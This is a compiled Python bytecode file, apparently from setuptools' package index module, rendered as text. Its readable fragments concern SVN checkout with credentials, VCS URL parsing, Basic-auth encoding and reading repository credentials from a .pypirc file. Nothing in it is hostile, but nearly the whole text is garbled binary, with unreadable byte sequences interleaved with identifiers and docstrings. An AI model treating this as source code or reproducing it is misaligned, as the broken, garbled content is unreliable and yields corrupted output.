d��d	d��\}}t|��\}
}|
rTd|
vr"|
�dd��\}}
d|�d
|
��}nd|
z}|}||||||	f}tj�
|��}|�d|�d|����tj
dd|d||g��|S)Nz"SVN download support is deprecatedr8r9rr�zsvn:�@z//r4rh�:z --username=z --password=zDoing subversion checkout from r�r�r�r�)�warningsr��UserWarningr=r+r-r:r!r;�
_splituser�
urlunparser�r�r�)r�r>r`�credsr@�netlocrBrf�qr��auth�host�user�pwr?s               r%r�zPackageIndex._download_svn�s����
�:�K�H�H�H��i�i��Q����"�����9�9�;�;�!�!�&�)�)�
	9�c�S�j�j�,2�L�,A�,A�#�,F�,F�)�F�F�D�!�Q���
9�d�o�o�d�3�3�
9��t�A�B�B�x���#�A�B�B�x�~�~�c�1�5�5����'��/�/�
��d��9��d�{�{�#'�:�:�c�1�#5�#5���b�b�BF�$�$��� K��� .�� 5��!�F�"�F�C��A�q�8�E� �,�1�1�%�8�8�C��	�	�G�C�G�G�X�G�G�H�H�H���u�j�%��s�H�M�N�N�N��r2c�f�tj�|��}|j�dd��d}|j�d��\}}}|�d��\}}}|r||fn|df\}}	|�||d����	��}
|
|	fS)	a�
        Given a possible VCS URL, return a clean URL and resolved revision if any.
        >>> vsrfu = PackageIndex._vcs_split_rev_from_url
        >>> vsrfu('git+https://github.com/pypa/setuptools@v69.0.0#egg-info=setuptools')
        ('https://github.com/pypa/setuptools', 'v69.0.0')
        >>> vsrfu('git+https://github.com/pypa/setuptools#egg-info=setuptools')
        ('https://github.com/pypa/setuptools', None)
        >>> vsrfu('http://foo/bar')
        ('http://foo/bar', None)
        r�r9r5r8r�Nr�)r@rBrE)
r:r!r�r@r=rBr��
rpartition�_replace�geturl)r>r?�clean_scheme�no_fragment_pathr~r�r�r��
clean_pathr��resolveds           r%r�z$PackageIndex._vcs_split_rev_from_url�s�����%�%�c�*�*���|�)�)�#�q�1�1�"�5��"'��!5�!5�c�!:�!:���!�Q�)�4�4�S�9�9���S�$�),�>�3��+�+�4��,��
�C��>�>����	"�
�
�
�&�(�(�	���}�r2c�*�tj|g|�R�dSrp)rr�r!s   r%r�zPackageIndex.debug�s ���	�#��������r2c�*�tj|g|�R�dSrp)rr�r!s   r%r�zPackageIndex.info�� ������t������r2c�*�tj|g|�R�dSrp)rr�r!s   r%r�zPackageIndex.warn�r�r2)r�r�NT)Frp)FFFN)FF)+r�r�r�r�r�r�r�r�r�rrrr�rrr'r*r0r5r)r%r6r<rMr;r^rhrbr�r:�staticmethodr�r�r�rr�r�r�r�r�r�r��
__classcell__�r�s@r%rr,s��������E�E�-����-�-�-�-�-�-�$!�!�!�!�!�31�31�31�31�j'�'�'�'�  � � � �?�?�?���� 2�2�2� 
�
�
�:
�
�
�&�&�&�&�
�
�
�H�H�H�H�H�H����
)�
)�
)����	�	�	� P� P� P�L����N?�N?�N?�N?�`����,�,�,�\�L�"�"�"�H
�
�
� T� T� T� T�DX�X�X�"�1�1��\�1�&���.5�5�5�$�$�$����
E�
E�
E����,����\��<������������r2rz!&(#(\d+|x[\da-fA-F]+)|[\w.:-]+);?c�T�|�d��}tj|��S)Nr)rLr��unescape)rK�whats  r%�
decode_entityr��s!���;�;�q�>�>�D��=����r2c�,�tt|��S)a
    Decode HTML entities in the given text.

    >>> htmldecode(
    ...     'https://../package_name-0.1.2.tar.gz'
    ...     '?tokena=A&amp;tokenb=B">package_name-0.1.2.tar.gz')
    'https://../package_name-0.1.2.tar.gz?tokena=A&tokenb=B">package_name-0.1.2.tar.gz'
    )�
entity_subr�)�texts r%r�r��s���m�T�*�*�*r2c����fd�}|S)Nc������fd�}|S)Nc���tj��}tj���	�|i|��tj|��S#tj|��wxYwrp)rx�getdefaulttimeout�setdefaulttimeout)rqrr�old_timeoutrs�timeouts   ��r%�_socket_timeoutz@socket_timeout.<locals>._socket_timeout.<locals>._socket_timeout�sd��� �2�4�4�K��$�W�-�-�-�
6��t�T�,�V�,�,��(��5�5�5�5���(��5�5�5�5���s�A�Ar�)rsr�r�s` �r%r�z'socket_timeout.<locals>._socket_timeout�s*����	6�	6�	6�	6�	6�	6��r2r�)r�r�s` r%�socket_timeoutr��s$���	�	�	�	�	��r2c���tj�|��}|���}t	j|��}|���}|�dd��S)a9
    Encode auth from a URL suitable for an HTTP header.
    >>> str(_encode_auth('username%3Apassword'))
    'dXNlcm5hbWU6cGFzc3dvcmQ='

    Long auth strings should not cause a newline to be inserted.
    >>> long_auth = 'username:' + 'password'*10
    >>> chr(10) in str(_encode_auth(long_auth))
    False
    �
r�)r:r!r<�encode�base64�	b64encoder�r�)r��auth_s�
auth_bytes�
encoded_bytes�encodeds     r%�_encode_authr��s[���\�
!�
!�$�
'�
'�F������J��$�Z�0�0�M��"�"�$�$�G��?�?�4��$�$�$r2c�$�eZdZdZd�Zd�Zd�ZdS)�
Credentialz:
    A username/password pair. Use like a namedtuple.
    c�"�||_||_dSrp��username�password)r�r�r�s   r%r�zCredential.__init__s�� ��
� ��
�
�
r2c#�.K�|jV�|jV�dSrpr�r�s r%�__iter__zCredential.__iter__s(�����m�����m�����r2c�&�dt|��zS)Nz%(username)s:%(password)s)�varsr�s r%�__str__zCredential.__str__s��*�T�$�Z�Z�7�7r2N)r�r�r�r�r�r�r�r�r2r%r�r�sK��������!�!�!����8�8�8�8�8r2r�c�@��eZdZ�fd�Zed���Zd�Zd�Z�xZS)�
PyPIConfigc�j��t�gd�d��}t���|��tj�tj�d��d��}tj�|��r|�	|��dSdS)z%
        Load from ~/.pypirc
        )r�r��
repositoryr��~z.pypircN)
r��fromkeysr�r�r_rBrm�
expanduserr�r�)r��defaults�rcr�s   �r%r�zPyPIConfig.__init__s�����=�=�!G�!G�!G��L�L��
������"�"�"�
�W�\�\�"�'�,�,�S�1�1�9�
=�
=��
�7�>�>�"���	��I�I�b�M�M�M�M�M�	�	r2c����fd�����D��}tt�j|����S)Nc�d��g|],}��|d������*|��-S)r�)r�r)re�sectionr�s  �r%rQz2PyPIConfig.creds_by_repository.<locals>.<listcomp>&sI���&
�&
�&
���x�x���.�.�4�4�6�6�&
��&
�&
�&
r2)�sectionsr�r}�_get_repo_cred)r��sections_with_repositoriess` r%�creds_by_repositoryzPyPIConfig.creds_by_repository$sR���&
�&
�&
�&
��=�=�?�?�&
�&
�&
�"��C��+�-G�H�H�I�I�Ir2c��|�|d�����}|t|�|d�����|�|d�������fS)Nr�r�r�)r�rr�)r�r��repos   r%r�zPyPIConfig._get_repo_cred.st���x�x���.�.�4�4�6�6���Z��H�H�W�j�)�)�/�/�1�1��H�H�W�j�)�)�/�/�1�1�
�
�
�	
r2c�v�|j���D]\}}|�|��r|cS�dS)z�
        If the URL indicated appears to be a repository defined in this
        config, return the credential for that repository.
        N)r��itemsr-)r�r>r��creds    r%�find_credentialzPyPIConfig.find_credential5sS��
!%� 8� >� >� @� @�	�	��J���~�~�j�)�)�
�����
�	�	r2)	r�r�r�r��propertyr�r�r�r�r�s@r%r�r�st�������	�	�	�	�	��J�J��X�J�
�
�
�������r2r�c���tj�|��}|\}}}}}}|�d��rtj�d���|dvrt|��\}	}
nd}	|	sMt���	|��}|r*t|��}	|j|f}tj
dg|�R�|	rodt|	��z}	||
||||f}
tj�|
��}tj�|��}|�d|	��ntj�|��}|�dt&��||��}|	rctj�|j��\}}}}}}||kr2||
kr,||||||f}
tj�|
��|_|S)	z4Open a urllib2 request, handling HTTP authenticationr�znonnumeric port: '')rp�httpsNz*Authenticating as %s for %s (from .pypirc)zBasic �
Authorizationz
User-Agent)r:r!r;r,rprqrrr�r�r�r~r�rr�r�r�r��Request�
add_header�
user_agentr>)r>r��parsedr@r�rB�paramsrDrr��addressr�r�r?rr�rc�s2�h2�path2�param2�query2�frag2s                       r%roro?s����\�
"�
"�3�
'�
'�F�06�-�F�F�D�&�%�����s���<��k�$�$�%:�;�;�;�
�"�"�"�"�6�*�*�
��g�g����J��|�|�+�+�C�0�0���	J��t�9�9�D��=�#�%�D��H�A�I�D�I�I�I�I��.��,�t�,�,�,�����v�u�d�:���,�)�)�%�0�0���.�(�(��1�1�����?�D�1�1�1�1��.�(�(��-�-�����|�Z�0�0�0�	�����B��4�06�|�/D�/D�R�V�/L�/L�,��B��v�v�u�
��<�<�B�'�M�M����v�v�u�<�E��\�,�,�U�3�3�B�F�
�Ir2c�D�|�d��\}}}|r|nd|fS)zNsplituser('user[:passwd]@host[:port]')
    --> 'user[:passwd]', 'host[:port]'.r�N)r�)r�r��delims   r%r�r�ns0������,�,��D�%���#�D�D�t�d�*�*r2c��|Srpr�)r>s r%�
fix_sf_urlrys���Jr2c���tj�|��\}}}}}}tj�|��}t
j�|��rtj�|��S|�	d���rt
j�
|��r�g}tj|��D]�}	t
j�||	��}
|	dkr>t|
d��5}|���}ddd��n#1swxYwYnzt
j�
|
��r|	dz
}	|�d�|	�������d}
|
�|d�|���	��}d
\}}nd\}}}dd
i}t#j|��}tj�|||||��S)z7Read a local path, with special support for directoriesr4z
index.html�rNz<a href="{name}">{name}</a>)r.zB<html><head><title>{url}</title></head><body>{files}</body></html>r�)r>�files)���OK)r�zPath not foundz	Not foundr�z	text/html)r:r!r;r�r�r_rB�isfiler�r,r�r�rmrr�r3�format�io�StringIOr�r�)r>r@rArB�paramrDrr`rr��filepathrc�bodyr��status�messager��body_streams                  r%rnrn}s��/5�|�/D�/D�S�/I�/I�,�F�F�D�%����~�*�*�4�0�0�H�	�w�~�~�h���C��~�%�%�c�*�*�*�	
���s�	�	�C���
�
�h� 7� 7�C�����H�%�%�
	@�
	@�A��w�|�|�H�a�0�0�H��L� � ��(�C�(�(�%�B��7�7�9�9�D�%�%�%�%�%�%�%�%�%�%�%����%�%�%�%�������x�(�(�
��S����L�L�6�=�=�1�=�E�E�F�F�F�F�X�
��;�;�3�d�i�i��.>�.>�;�?�?�D�#����� B������{�+�G��+�d�#�#�K��<�!�!�#�v�w���M�M�Ms�D(�(D,	�/D,	rp)r)[r��sysr�r_rdrrUrxr�r�r�r��configparserr��http.clientrp�urllib.parser:�urllib.request�urllib.error�	functoolsrr�
pkg_resourcesrrrrr	r
rrr
rrrrr�	distutilsr�distutils.errorsr�fnmatchr�setuptools.wheelr� setuptools.extern.more_itertoolsrr�rJ�Ir�rrKr�r=rW�__all__�_SOCKET_TIMEOUT�_tmplr�version_inforr&rrFrrIrarruryr�r�r�rrr�r�r�r�r�r��RawConfigParserr�r�r�ror�rrnr�r2r%�<module>r5s��*�*�
�
�
�
�����	�	�	�	�	�	�	�	�	�	�	�	�
�
�
�
�
�
�
�
�
�
�
�
������������������������������������������������������������������������������� ������+�+�+�+�+�+�������"�"�"�"�"�"�<�<�<�<�<�<��r�z�6�7�7���r�z�3�R�T�:�:���2�:�J�����R�Z�,�b�d�
3�
3�
9�
�
.�
4�
4�
6�
6�
�������F��
�\�\�
�W�^�S�-�
.�:����
�
������0������� � � � �F����.2�k�TX�����D
�
�
��b�j�K�R�T�R�R���
�L�L���L�$��������2�����.����B^
�^
�^
�^
�^
�;�^
�^
�^
�F�R�Z�<�
=�
=�
A�
����
	+�	+�	+�����%�%�%�*8�8�8�8�8�8�8�8�"$�$�$�$�$��-�$�$�$�N &�~�5�+�+�+�+�^+�+�+�1����0�0��@�@�����N�N�N�N�Nr2